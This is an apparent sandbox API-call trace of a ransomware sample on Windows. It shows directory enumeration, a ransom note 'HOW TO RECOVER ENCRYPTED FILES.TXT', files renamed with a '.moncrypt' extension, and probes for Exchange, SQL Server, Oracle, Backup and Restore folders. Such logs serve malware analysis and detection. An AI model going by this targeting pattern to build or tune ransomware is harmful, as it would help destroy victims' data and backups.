ftLastWriteTime.dwLowDateTime=0x41f1a340, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.962] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.962] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.962] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.962] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.962] GlobalUnlock (hMem=0x44000c) returned 0 [0054.962] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.963] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.963] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.963] GlobalUnlock (hMem=0x44000c) returned 0 [0054.963] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.963] GlobalUnlock (hMem=0x440004) returned 0 [0054.963] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.963] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41f1a340, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41f1a340, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.963] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.963] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.963] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.963] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.963] GlobalUnlock (hMem=0x440004) returned 0 [0054.963] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.963] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.963] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.963] GlobalUnlock (hMem=0x440004) returned 0 [0054.963] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.963] GlobalUnlock (hMem=0x44000c) returned 0 [0054.963] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.963] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f1a340, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41f1a340, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41f1a340, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0054.963] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.963] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.963] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.963] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.963] GlobalUnlock (hMem=0x44000c) returned 0 [0054.963] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.964] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.964] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.964] GlobalUnlock (hMem=0x44000c) returned 0 [0054.964] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.964] GlobalUnlock (hMem=0x440004) returned 0 [0054.964] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.964] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe659f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS.moncrypt", cAlternateFileName="MSB1EN~1.MON")) returned 1 [0054.964] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.964] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.964] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.964] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.964] GlobalUnlock (hMem=0x440004) returned 0 [0054.964] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.964] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.964] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.964] GlobalUnlock (hMem=0x440004) returned 0 [0054.964] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.964] GlobalUnlock (hMem=0x44000c) returned 0 [0054.964] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.964] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe659f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS.moncrypt", cAlternateFileName="MSB1EN~1.MON")) returned 0 [0054.964] GetLastError () returned 0x12 [0054.964] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.965] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0054.965] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.965] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.965] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.965] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.965] GlobalUnlock (hMem=0x44000c) returned 0 [0054.965] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.965] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.965] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.965] GlobalUnlock (hMem=0x44000c) returned 0 [0054.965] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.965] GlobalUnlock (hMem=0x440004) returned 0 [0054.965] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.965] GlobalLock (hMem=0x440004) returned 0x550170 [0054.965] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.965] GlobalUnlock (hMem=0x440004) returned 0 [0054.965] GlobalLock (hMem=0x440004) returned 0x550170 [0054.965] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.965] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.965] GlobalUnlock (hMem=0x440004) returned 0 [0054.965] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.965] GlobalUnlock (hMem=0x44000c) returned 0 [0054.965] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.966] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN", len=0x3c | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN") returned 1 [0054.966] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.966] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.966] GlobalUnlock (hMem=0x44000c) returned 0 [0054.966] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.966] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.966] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.966] GlobalUnlock (hMem=0x44000c) returned 0 [0054.966] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.966] GlobalUnlock (hMem=0x440004) returned 0 [0054.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0054.966] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@뷒R붦R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0054.966] GetLastError () returned 0x3 [0054.966] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0054.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0054.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="숼R䱠@봬R企@\x18㿬Q\x181")) returned 0xffffffff [0054.967] GetLastError () returned 0x2 [0054.967] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.967] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0054.967] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="숼R䱠@뾴R企@\x18?T\x18;")) returned 0xffffffff [0054.968] GetLastError () returned 0x2 [0054.968] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6f8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0054.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.968] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="숼R䱠@婴U企@\x18?T\x18D")) returned 0xffffffff [0054.968] GetLastError () returned 0x2 [0054.968] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6f8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0054.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="숼R䱠@봬R企@\x18뾴R\x18j")) returned 0xffffffff [0054.969] GetLastError () returned 0x2 [0054.969] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="숼R䱠@婴U企@\x18?T\x18q")) returned 0xffffffff [0054.969] GetLastError () returned 0x2 [0054.969] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6f8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뾰RP") returned 6 [0054.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.970] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="숼R䱠@뻜R企@\x18?T\x18y")) returned 0xffffffff [0054.970] GetLastError () returned 0x2 [0054.970] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6f8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0054.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.970] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="숼R䱠@봬R企@\x18?T\x18\x81")) returned 0xffffffff [0054.971] GetLastError () returned 0x2 [0054.971] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6f8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0054.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="숼R䱠@婴U企@\x18?T\x18\x88")) returned 0xffffffff [0054.971] GetLastError () returned 0x2 [0054.971] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6f8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0054.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="숼R䱠@뻜R企@\x18?T\x18\x8f")) returned 0xffffffff [0054.972] GetLastError () returned 0x2 [0054.972] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6f8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0054.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.972] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="숼R䱠@봬R企@\x18?T\x18\x97")) returned 0xffffffff [0054.972] GetLastError () returned 0x2 [0054.972] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6f8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0054.972] GlobalLock (hMem=0x440004) returned 0x550170 [0054.973] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.973] GlobalUnlock (hMem=0x440004) returned 0 [0054.973] GlobalLock (hMem=0x440004) returned 0x550170 [0054.973] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.973] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.973] GlobalUnlock (hMem=0x440004) returned 0 [0054.973] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.973] GlobalUnlock (hMem=0x44000c) returned 0 [0054.973] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.973] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0054.973] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.973] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0054.973] 